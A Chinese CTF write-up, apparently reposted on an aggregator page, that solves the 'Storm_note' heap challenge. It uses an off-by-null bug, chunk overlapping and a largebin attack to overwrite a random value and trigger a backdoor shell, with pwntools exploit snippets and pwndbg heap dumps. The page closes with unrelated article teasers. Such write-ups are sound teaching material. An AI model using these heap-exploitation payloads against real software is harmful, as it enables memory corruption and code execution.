当前位置： 首页 > news >正文

从零开始学howtoheap：解题西湖论剑Storm_note

news 文章来源：https://blog.csdn.net/weixin_44626085/article/details/136111705 2024/9/21 20:28:24

  how2heap是由shellphish团队制作的堆利用教程，介绍了多种堆利用技术，后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境：从零开始配置pwn环境：从零开始配置pwn环境：优化pwn虚拟机配置支持libc等指令-CSDN博客 

1.题目信息

https://github.com/ble55ing/ctfpwn/blob/master/pwnable/ctf/x64/Storm_note

root@pwn_test1604:/ctf/work/how2heap/西湖论剑Storm_note# chmod +x Storm_note
root@pwn_test1604:/ctf/work/how2heap/西湖论剑Storm_note# gdb ./Storm_note
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./Storm_note...(no debugging symbols found)...done.
pwndbg> r
Starting program: /ctf/work/how2heap/西湖论剑Storm_note/Storm_note 
================
== Storm Note ==
== 1. alloc   ==
== 2. edit    ==
== 3. delete  ==
== 4. exit    ==
================
Choice:

2.程序分析

2.1 init_proc函数 

​ 程序一开始就对进程进行初始化，mallopt(1, 0)禁用了fastbin，然后通过mmap在0xABCD0000分配了一个页面的可读可写空间，最后往里面写入一个随机数。

​

2.2 alloc_note函数 

​ 首先遍历全局变量note，找到一个没有存放内容的地方保存堆指针。然后限定了申请的堆的大小最多为0xFFFFF，调用calloc函数来分配堆空间，因此返回

前会对分配的堆的内容进行清零。

​

2.3 edit_note函数 

​ 存在一个off_by_null漏洞，在read后v2保存写入的字节数，最后在该偏移处的字节置为0，形成off_by_null。

​ 

2.4 delete_note函数

​ 这个函数就是正常free堆指针，并置0。

​ 

2.5 backdoor函数

​ 程序提供一个可以直接getshell的后门，触发的条件就是输入的数据与mmap映射的空间的前48个字节相同。

 

3.利用思路 

  1. 利用off_by_null漏洞实现chunk overlapping，从而控制堆块内容。

  2. 将处于unsortedbin的可控制的chunk放入largebin中，以便触发largebin attack

  3. 伪造largebin的bk和bk_nextsize指针，通过malloc触发漏洞，分配到目标地址，实现任意地址写。

  4. 触发后门

4.调试过程 

4.1 Chunk overlapping 

​4.1.1 首先分配7个chunk

chunk1和chunk4是用于放入largebin的大chunk，chunk6防止top chunk合并。Chunk结构如下。

add(0x18)  #0
add(0x508) #1
add(0x18)  #2add(0x18)  #3
add(0x508) #4
add(0x18)  #5
add(0x18)  #6
pause()
[DEBUG] Received 0x84 bytes:'Done\n''================\n''== Storm Note ==\n''== 1. alloc   ==\n''== 2. edit    ==\n''== 3. delete  ==\n''== 4. exit    ==\n''================\n''Choice: '
[DEBUG] Sent 0x2 bytes:'2\n'
[DEBUG] Received 0x8 bytes:'Index ?\n'
[DEBUG] Sent 0x2 bytes:'4\n'
[DEBUG] Received 0xa bytes:'Content: \n'
[DEBUG] Sent 0x4f8 bytes:00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│*000004f0  00 05 00 00  00 00 00 00                            │····│····││000004f8
[*] Paused (press any to continue)pwndbg> c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4fc241a260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84      in ../sysdeps/unix/syscall-template.S
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0xfffffffffffffe00RBX  0x7f4fc26e78e0 (_IO_2_1_stdin_) ◂— 0xfbad208bRCX  0x7f4fc241a260 (__read_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x1RDI  0x0RSI  0x7f4fc26e7963 (_IO_2_1_stdin_+131) ◂— 0x6e9790000000000a /* '\n' */R8   0x7f4fc26e9780 (_IO_stdfile_1_lock) ◂— 0x0R9   0x7f4fc2907700 ◂— 0x7f4fc2907700R10  0x55a6e14011a5 ◂— and    eax, 0x6e490064 /* '%d' */R11  0x246R12  0x1R13  0xffffffffffffff98R14  0x7f4fc26e8420 (_nl_global_locale) —▸ 0x7f4fc26e39a0 (_nl_C_LC_CTYPE) —▸ 0x7f4fc24b1997 (_nl_C_name) ◂— add    byte ptr [r15 + 0x5f], bl /* 'C' */R15  0x7f4fc26e78e0 (_IO_2_1_stdin_) ◂— 0xfbad208b► f 0     7f4fc241a260 __read_nocancel+7                                                                                                                                                                   [0/115]f 1     7f4fc239d5e8 _IO_file_underflow+328f 2     7f4fc239e60e _IO_default_uflow+14f 3     7f4fc237f260 _IO_vfscanf+2528f 4     7f4fc238e5df __isoc99_scanf+271f 5     55a6e1401091f 6        201621460f 7 180f66877bd5d200f 8     55a6e1401110f 9     7f4fc2343830 __libc_start_main+240f 10     55a6e1400a89
Program received signal SIGINT
pwndbg> heap
heapbase : 0x55a6e3007000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x55a6e3007000      0x0                 0x20                 Used                None              None
0x55a6e3007020      0x0                 0x510                Used                None              None
0x55a6e3007530      0x0                 0x20                 Used                None              None
0x55a6e3007550      0x0                 0x20                 Used                None              None
0x55a6e3007570      0x0                 0x510                Used                None              None
0x55a6e3007a80      0x0                 0x20                 Used                None              None
0x55a6e3007aa0      0x0                 0x20                 Used                None              None
pwndbg>

 pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x55a6e3007000      0x0                 0x20                 Used                None              None
0x55a6e3007020      0x0                 0x510                Used                None              None
0x55a6e3007530      0x0                 0x20                 Used                None              None
0x55a6e3007550      0x0                 0x20                 Used                None              None
0x55a6e3007570      0x0                 0x510                Used                None              None
0x55a6e3007a80      0x0                 0x20                 Used                None              None
0x55a6e3007aa0      0x0                 0x20                 Used                None              None

​ 4.1.2 构造两个伪造的prev_size

用于绕过malloc检查，保护下一个chunk的prev_size不被修改。如下图所示。

edit(1,'a'*0x4f0+p64(0x500)) #prev_size
edit(4,'a'*0x4f0+p64(0x500)) #prev_size
pwndbg> x/30gx 0x55a6e3007020 +0x490
0x55a6e30074b0: 0x6161616161616161      0x6161616161616161
0x55a6e30074c0: 0x6161616161616161      0x6161616161616161
0x55a6e30074d0: 0x6161616161616161      0x6161616161616161
0x55a6e30074e0: 0x6161616161616161      0x6161616161616161
0x55a6e30074f0: 0x6161616161616161      0x6161616161616161
0x55a6e3007500: 0x6161616161616161      0x6161616161616161
0x55a6e3007510: 0x6161616161616161      0x6161616161616161
0x55a6e3007520: 0x0000000000000500      0x0000000000000000
0x55a6e3007530: 0x0000000000000000      0x0000000000000021
0x55a6e3007540: 0x0000000000000000      0x0000000000000000
0x55a6e3007550: 0x0000000000000000      0x0000000000000021
0x55a6e3007560: 0x0000000000000000      0x0000000000000000
0x55a6e3007570: 0x0000000000000000      0x0000000000000511
0x55a6e3007580: 0x6161616161616161      0x6161616161616161
0x55a6e3007590: 0x6161616161616161      0x6161616161616161
pwndbg> x/30gx 0x55a6e3007570 +0x490
0x55a6e3007a00: 0x6161616161616161      0x6161616161616161
0x55a6e3007a10: 0x6161616161616161      0x6161616161616161
0x55a6e3007a20: 0x6161616161616161      0x6161616161616161
0x55a6e3007a30: 0x6161616161616161      0x6161616161616161
0x55a6e3007a40: 0x6161616161616161      0x6161616161616161
0x55a6e3007a50: 0x6161616161616161      0x6161616161616161
0x55a6e3007a60: 0x6161616161616161      0x6161616161616161
0x55a6e3007a70: 0x0000000000000500      0x0000000000000000
0x55a6e3007a80: 0x0000000000000000      0x0000000000000021
0x55a6e3007a90: 0x0000000000000000      0x0000000000000000
0x55a6e3007aa0: 0x0000000000000000      0x0000000000000021
0x55a6e3007ab0: 0x0000000000000000      0x0000000000000000
0x55a6e3007ac0: 0x0000000000000000      0x0000000000020541
0x55a6e3007ad0: 0x0000000000000000      0x0000000000000000
0x55a6e3007ae0: 0x0000000000000000      0x0000000000000000

 ​4.1.3  接着利用off by null漏洞改写chunk 1的size为0x500

free(1)
edit(0,'a'*0x18) #off by null
pause()

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x56340ec9f000      0x0                 0x20                 Freed 0x61616161616161610x6161616161616161
0x56340ec9f020      0x6161616161616161  0x500                Freed     0x7f808d4f8b78    0x7f808d4f8b78
Corrupt ?! (size == 0) (0x56340ec9f520)
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x56340ec9f020 —▸ 0x7f808d4f8b78 (main_arena+88) ◂— 0x56340ec9f020
smallbins
empty
largebins
empty

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x56340ec9f000      0x0                 0x20                 Freed 0x61616161616161610x6161616161616161
0x56340ec9f020      0x6161616161616161  0x500                Freed     0x7f808d4f8b78    0x7f808d4f8b78
Corrupt ?! (size == 0) (0x56340ec9f520)
 


 

4.1.4 然后就可以进行chunk overlap了

先将0x20的chunk释放掉，然后释放chunk2，这时触发unlink。

add(0x18)  #1
add(0x4d8) #7 free(1)
free(2)    #overlap

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x558a6cd7c000      0x0                 0x20                 Used                None              None
0x558a6cd7c020      0x6161616161616161  0x530                Freed     0x7fa9f62ffb78    0x7fa9f62ffb78
0x558a6cd7c550      0x530               0x20                 Used                None              None
0x558a6cd7c570      0x0                 0x510                Used                None              None
0x558a6cd7ca80      0x0                 0x20                 Used                None              None
0x558a6cd7caa0      0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x558a6cd7c020 —▸ 0x7fa9f62ffb78 (main_arena+88) ◂— 0x558a6cd7c020
smallbins
empty
largebins
empty
pwndbg>

 pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x558a6cd7c000      0x0                 0x20                 Used                None              None
0x558a6cd7c020      0x6161616161616161  0x530                Freed     0x7fa9f62ffb78    0x7fa9f62ffb78  
0x558a6cd7c550      0x530               0x20                 Used                None              None
0x558a6cd7c570      0x0                 0x510                Used                None              None
0x558a6cd7ca80      0x0                 0x20                 Used                None              None
0x558a6cd7caa0      0x0                 0x20                 Used                None              None

4.1.5 接下来用同样的方法对第二个大小为0x510的chunk进行overlapping

free(4)
edit(3,'a'*0x18) #off by null
add(0x18)        #4
add(0x4d8)       #8 
free(4)
free(5)          #overlap
add(0x40)        #4 
edit(8, 'aaaa')

addr                prev                size                 status              fd                bk                
0x5564e0dfc000      0x0                 0x20                 Used                None              None
0x5564e0dfc020      0x6161616161616161  0x40                 Used                None              None
0x5564e0dfc060      0x0                 0x4f0                Used                None              None
0x5564e0dfc550      0x0                 0x20                 Used                None              None
0x5564e0dfc570      0x6161616161616161  0x50                 Used                None              None
0x5564e0dfc5c0      0x0                 0x4e0                Freed     0x7f45f673eb78    0x7f45f673eb78
0x5564e0dfcaa0      0x4e0               0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5564e0dfc5c0 —▸ 0x7f45f673eb78 (main_arena+88) ◂— 0x5564e0dfc5c0
smallbins
empty
largebins
empty
pwndbg>

addr                prev                size                 status              fd                bk                
0x5564e0dfc000      0x0                 0x20                 Used                None              None
0x5564e0dfc020      0x6161616161616161  0x40                 Used                None              None
0x5564e0dfc060      0x0                 0x4f0                Used                None              None
0x5564e0dfc550      0x0                 0x20                 Used                None              None
0x5564e0dfc570      0x6161616161616161  0x50                 Used                None              None
0x5564e0dfc5c0      0x0                 0x4e0                Freed     0x7f45f673eb78    0x7f45f673eb78
0x5564e0dfcaa0      0x4e0               0x20                 Used                None              None
 

4.2.放入large bin 

4.2.1​ 那么如何将unsorted bin中的chunk放入large bin呢？

下面是glibc判断

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//从第一个unsortedbin的bk开始遍历
{bck = victim->bk;size = chunksize (victim);if (in_smallbin_range (nb) &&//<_int_malloc+627>bck == unsorted_chunks (av) &&victim == av->last_remainder &&(unsigned long) (size) > (unsigned long) (nb + MINSIZE))    //unsorted_bin的最后一个，并且该bin中的最后一个chunk的size大于我们申请的大小{remainder_size = size - nb;remainder = chunk_at_offset (victim, nb);...}//将选中的chunk剥离出来，恢复unsortedbinif (__glibc_unlikely (bck->fd != victim))malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;    //largebin attack//注意这个地方，将unsortedbin的bk设置为victim->bk，如果我设置好了这个bk并且能绕过上面的检查,下次分配就能将target chunk分配出来if (size == nb)//size相同的情况同样正常分配if (in_smallbin_range (size))//放入smallbin{victim_index = smallbin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;}else//放入large bin{while ((unsigned long) size < chunksize_nomask (fwd)){fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunkassert (chunk_main_arena (fwd));}if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))/* Always insert in the second position.  */fwd = fwd->fd;else// 插入{//解链操作，nextsize只有largebin才有victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;
}mark_bin (av, victim_index);
//解链操作2,fd,bkvictim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;
//fwd->bk->fd=victim

​ 大概意思就是说我们申请堆块时，glibc会从unsorted bin末尾开始遍历，倘若遍历到不符合我们的要求大小，那么系统会做sorted——重新把这个free chunk放入small bin或large bin中。

free(2)     #unsortedbin-> chunk2 -> chunk5(0x4e0)which size is largebin FIFO
add(0x4e8)  #put chunk5(0x4e0) to largebin
free(2)     #put chunk2 to unsortedbin

4.2.2 在unsorted bin中存放着两个大chunk

第一个0x4e0，第二个0x4f0。当我申请一个0x4e8的chunk时，首先找到0x4e0的chunk，太小了不符合调件，于是将它拿出unsorted bin，放入large bin。在放入large bin时就会进行两步解链操作，两个解链操作的最后一步是关键。

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x55812f375000      0x0                 0x20                 Used                None              None
0x55812f375020      0x6161616161616161  0x40                 Used                None              None
0x55812f375060      0x0                 0x4f0                Freed     0x7f3f63abeb78        0xabcd00e8
0x55812f375550      0x4f0               0x20                 Used                None              None
0x55812f375570      0x6161616161616161  0x50                 Used                None              None
0x55812f3755c0      0x0                 0x4e0                Freed                0x0    0x55812f375060
0x55812f375aa0      0x4e0               0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55812f375060 —▸ 0x7f3f63abeb78 (main_arena+88) ◂— 0x55812f375060
BK: 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55812f3755c0 ◂— 0x0
BK: 0x55812f3755c0 —▸ 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
pwndbg> 
[0] 0:[tmux]*

​ 可以看到从unsorted bin->bk开始遍历，第一个的size < nb因此就会放入large bin，继续往前遍历，找到0x4f0的chunk，刚好满足size==nb，因此将其分配出来。最后在free(2)将刚刚分配的chunk2再放回unsorted bin，进行第二次利用。

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x55812f375000      0x0                 0x20                 Used                None              None
0x55812f375020      0x6161616161616161  0x40                 Used                None              None
0x55812f375060      0x0                 0x4f0                Freed     0x7f3f63abeb78        0xabcd00e8
0x55812f375550      0x4f0               0x20                 Used                None              None
0x55812f375570      0x6161616161616161  0x50                 Used                None              None
0x55812f3755c0      0x0                 0x4e0                Freed                0x0    0x55812f375060
0x55812f375aa0      0x4e0               0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55812f375060 —▸ 0x7f3f63abeb78 (main_arena+88) ◂— 0x55812f375060
BK: 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55812f3755c0 ◂— 0x0
BK: 0x55812f3755c0 —▸ 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda

4.3.large bin attack 

​ 4.3.1 接下来伪造unsorted bin的bk

content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7, payload)

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x56119bc94000      0x0                 0x20                 Used                None              None
0x56119bc94020      0x6161616161616161  0x40                 Used                None              None
0x56119bc94060      0x0                 0x4f0                Freed                0x0        0xabcd00e0
0x56119bc94550      0x4f0               0x20                 Used                None              None
0x56119bc94570      0x6161616161616161  0x50                 Used                None              None
0x56119bc945c0      0x0                 0x4e0                Freed     0x7f00307d0f98    0x7f00307d0f98
0x56119bc94aa0      0x4e0               0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56119bc94060 ◂— 0x0
BK: 0x56119bc94060 —▸ 0xabcd00e0 ◂— 0x0
smallbins

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56119bc94060 ◂— 0x0
BK: 0x56119bc94060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
 

​ 4.3.2 再伪造large bin的bk和bk_nextsize

payload2 = p64(0)*4 + p64(0) + p64(0x4e1)  #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap
edit(8, payload2)


pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56221cde2060 ◂— 0x0
BK: 0x56221cde2060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x56221cde25c0 ◂— 0x0
BK: 0x56221cde25c0 —▸ 0xabcd00e8 ◂— 0x20f66af60f3e024
pwndbg> 
[0] 0:gdb*

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56221cde2060 ◂— 0x0
BK: 0x56221cde2060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x56221cde25c0 ◂— 0x0
BK: 0x56221cde25c0 —▸ 0xabcd00e8 ◂— 0x20f66af60f3e024
                                              

​ 4.3.3 那么为什么修改这些值呢

再回顾一下两个解链操作。

else// 插入{//解链操作，nextsize只有largebin才有victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;
}mark_bin (av, victim_index);
//解链操作2,fd,bkvictim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;
//fwd->bk->fd=victim

这里情况很复杂，需要耐心把每一步链表的操作搞明白，才能理解它的原理。首先victim指的是处在unsorted bin中的堆块，fwd是large bin中的堆块。

4.3.4 再来回顾一下我们的构造

victim->bk = fake_chunk
fwd->bk = fake_chunk+8
fwd->bk_nextsize=fake_chunk-0x18-5

通过解链操作1，我们能得到：

victim->fd_nextsize=fwd
victim->bk_nextsize=fake_chunk-0x18-5
fwd->bk_nextsize=victim
victim->bk_nextsize->fd_nextsize=fake_chunk-0x18-5+0x20=fake_chunk+3=victim

通过解链操作2，我们能得到：

victim->bk = bck = fwd->bk = fake_chunk+ 8
victim->fd = largbin_entry
fwd->bk = victim
bck->fd = (fake_chunk +8)->fd = victim

4.3.5 接下来我们可以观察一下调试的结果是否与我们分析的一致

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55fca1d77060 —▸ 0x7fb45a4afb78 (main_arena+88) ◂— 0x55fca1d77060
BK: 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55fca1d775c0 ◂— 0x0
BK: 0x55fca1d775c0 —▸ 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4

victim: 0x55fca1d77060

victim->fd=largebin 0x7fb45a4afb78

victim->bk=fake_chunk+8
 

image-20211226162922399

image-20211226162928596

pwndbg> x/10gx 0xabcd00e8
0xabcd00e8:     0x0000000000000055      0x00007f4a97feeb78
0xabcd00f8:     0x0000556969c18060      0xef7b8e8ded4b1ddb
0xabcd0108:     0x24f263948da138ca      0xc5a1c6bfb9d3a03f
0xabcd0118:     0x3640cee1534713e0      0x4a2fe9c007d22040
0xabcd0128:     0x68f9080bf5bc891c      0x0000000000000000
pwndbg> 
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55fca1d77060 —▸ 0x7fb45a4afb78 (main_arena+88) ◂— 0x55fca1d77060
BK: 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55fca1d775c0 ◂— 0x0
BK: 0x55fca1d775c0 —▸ 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4

因为fake_chunk-5处会写入victim的地址，开启地址随机化的开头地址是0x55或0x56，所以fake_chunk的size位是0x55或0x56。

当_int_malloc返回之后会进行如下检查。

image-20211226162936052

其中宏定义如下。

image-20211226162941269

0x55&0x2=0，绕不过检查，所以只有size为0x56时，我们才能申请到0xabcd0100-0x20处的堆块。

4.4 后门利用 

add(0x48)
payload = p64(0) * 2 + p64(0) * 6
edit(2, payload)p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)

申请到目标堆块后，将0Xabcd0100处的随机数改为0，触发后门。

pwndbg> x/10gx 0xabcd0100
0xabcd0100:     0x6bd2016fae036ca4      0x065eb3b3800abca7
0xabcd0110:     0xf15d72a1ccc94059      0xdac1ef5786b0b12b
0xabcd0120:     0x9a46adb705b91a2a      0xe0d3749de11a053e
0xabcd0130:     0x0000000000000000      0x0000000000000001
0xabcd0140:     0x0000000000000000      0x0000000000000000pwndbg> x/10gx 0xabcd0100
0xabcd0100:     0x0000000000000000      0x0000000000000000
0xabcd0110:     0x0000000000000000      0x0000000000000000
0xabcd0120:     0x0000000000000000      0x0000000000000000
0xabcd0130:     0x0000000000000000      0x0000000000000001
0xabcd0140:     0x0000000000000000      0x0000000000000000

修改之前

pwndbg> x/10gx 0xabcd0100
0xabcd0100:     0x6bd2016fae036ca4      0x065eb3b3800abca7
0xabcd0110:     0xf15d72a1ccc94059      0xdac1ef5786b0b12b
0xabcd0120:     0x9a46adb705b91a2a      0xe0d3749de11a053e
0xabcd0130:     0x0000000000000000      0x0000000000000001
0xabcd0140:     0x0000000000000000      0x0000000000000000

修改之后

pwndbg> x/10gx 0xabcd0100
0xabcd0100:     0x0000000000000000      0x0000000000000000
0xabcd0110:     0x0000000000000000      0x0000000000000000
0xabcd0120:     0x0000000000000000      0x0000000000000000
0xabcd0130:     0x0000000000000000      0x0000000000000001
0xabcd0140:     0x0000000000000000      0x0000000000000000
 

                                           
 

 5.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

相关文章：

从零开始学howtoheap：解题西湖论剑Storm_note

how2heap是由shellphish团队制作的堆利用教程&#xff0c;介绍了多种堆利用技术&#xff0c;后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境&#xff1a;从零开始配置pwn环境&#xff1a;从零开始配置pwn环境&#xff1a;优化pwn虚拟机配置支持libc等指…...

编程日记 2024/2/17 22:27:47

Rust 基本环境安装

rust 基本介绍请看上一篇文章&#xff1a;rust 介绍 rustup 介绍 rustup 是 Rust 语言的安装器和版本管理工具。通过 rustup&#xff0c;可以轻松地安装 Rust 编译器&#xff08;rustc&#xff09;、标准库和文档。它也允许你切换不同的 Rust 版本或目标平台&#xff0c;以及…...

编程日记 2024/2/17 22:25:45

【电源】POE系统供电原理（二）

转载本博客文章&#xff0c;请注明出处 ​ 上一篇文章中&#xff0c;有提到POE系统工作原理及动态检测机制&#xff0c;下面我们继续介绍受电端PD技术及原理。POE供电系统包含PSE、PD及互联接口部分组成&#xff0c;如下图所示。 图1 POE供电系统 PSE控制器的主要作用&#xff…...

编程日记 2024/2/17 22:24:45

GPU独显下ubuntu屏幕亮度不能调节解决方法

GPU独显下屏幕亮度不能调节&#xff08;假设你已经安装了合适的nvidia显卡驱动&#xff09;&#xff0c;我试过修改 /etc/default/grub 的 GRUB_CMDLINE_LINUX_DEFAULT"quiet splash acpi_backlightvendor" &#xff0c;没用。修改和xorg.conf相关的文件&#xff0c;…...

编程日记 2024/2/17 22:20:41

Linux篇：网络基础1

一、网络基础&#xff1a;网络本质就是在获取和传输数据&#xff0c;而系统的本质是在加工和处理数据。 1、应用问题&#xff1a; ①如何处理发来的数据&#xff1f;—https/http/ftp/smtp ②长距离传输的数据丢失的问题&#xff1f;——TCP协议 ③如何定位的主机的问题&#…...

编程日记 2024/2/17 22:18:38

RK3568笔记十七：LVGL v8.2移植

若该文为原创文章&#xff0c;转载请注明原文出处。 本文介绍嵌入式轻量化图形库LVGL 8.2移植到Linux开发板ATK-RK3568上的步骤。 主要是参考大佬博客&#xff1a; LVGL v8.2移植到IMX6ULL开发板_lvgl移植到linux-CSDN博客 一、环境 1、平台&#xff1a;rk3568 2、开发板:…...

编程日记 2024/2/17 22:14:34

C#系列-C#访问MongoDB+redis+kafka（7）

目录 一、 C#中访问MongoDB. 二、 C#访问redis. 三、 C#访问kafka. C#中访问MongoDB 在C#中访问MongoDB&#xff0c;你通常会使用MongoDB官方提供的MongoDB C#/.NET Driver。这个驱动提供了丰富的API来执行CRUD&#xff08;创建、读取、更新、删除&#x…...

编程日记 2024/2/17 22:07:27

(12)Hive调优——count distinct去重优化

离线数仓开发过程中经常会对数据去重后聚合统计&#xff0c;count distinct使得map端无法预聚合&#xff0c;容易引发reduce端长尾&#xff0c;以下是count distinct去重调优的几种方式。 解决方案一&#xff1a;group by 替代 原sql 如下&#xff1a; #7日、14日的app点击的…...

编程日记 2024/2/17 21:59:16

记录 | 验证pytorch-cuda是否安装成功

检测程序如下&#xff1a; import torchprint(torch.__version__) print(torch.cuda.is_available()) 或者用终端 Shell&#xff0c;运行情况如下...

编程日记 2024/2/17 21:58:15

LeetCode 239.滑动窗口的最大值 Hot100 单调栈

给你一个整数数组 nums&#xff0c;有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只向右移动一位。 返回 滑动窗口中的最大值 。 示例 1&#xff1a; 输入&#xff1a;nums [1,3,-1,-3,5,3,6,7], k 3 输…...

编程日记 2024/2/17 21:57:14

463. Island Perimeter(岛屿的周长)

问题描述 给定一个 row x col 的二维网格地图 grid &#xff0c;其中&#xff1a;grid[i][j] 1 表示陆地&#xff0c; grid[i][j] 0 表示水域。 网格中的格子 水平和垂直 方向相连&#xff08;对角线方向不相连&#xff09;。整个网格被水完全包围&#xff0c;但其中恰好有…...

编程日记 2024/2/17 21:55:12

如何解决缓存和数据库的数据不一致问题

数据不一致问题是操作数据库和操作缓存值的过程中&#xff0c;其中一个操作失败的情况。实际上&#xff0c;即使这两个操作第一次执行时都没有失败&#xff0c;当有大量并发请求时&#xff0c;应用还是有可能读到不一致的数据。 如何更新缓存 更新缓存的步骤就两步&#xff0…...

编程日记 2024/2/17 21:51:09

linux系统下vscode portable版本的python环境搭建003：venv

这里写自定义目录标题 python安装方案一. 使用源码安装&#xff08;有[构建工具](https://blog.csdn.net/ResumeProject/article/details/136095629)的情况下&#xff09;方案二.使用系统包管理器 虚拟环境安装TESTCG 本文目的&#xff1a;希望在获得一个新的系统之后&#xff…...

编程日记 2024/2/17 21:49:07

使用TinyXML-2解析XML文件

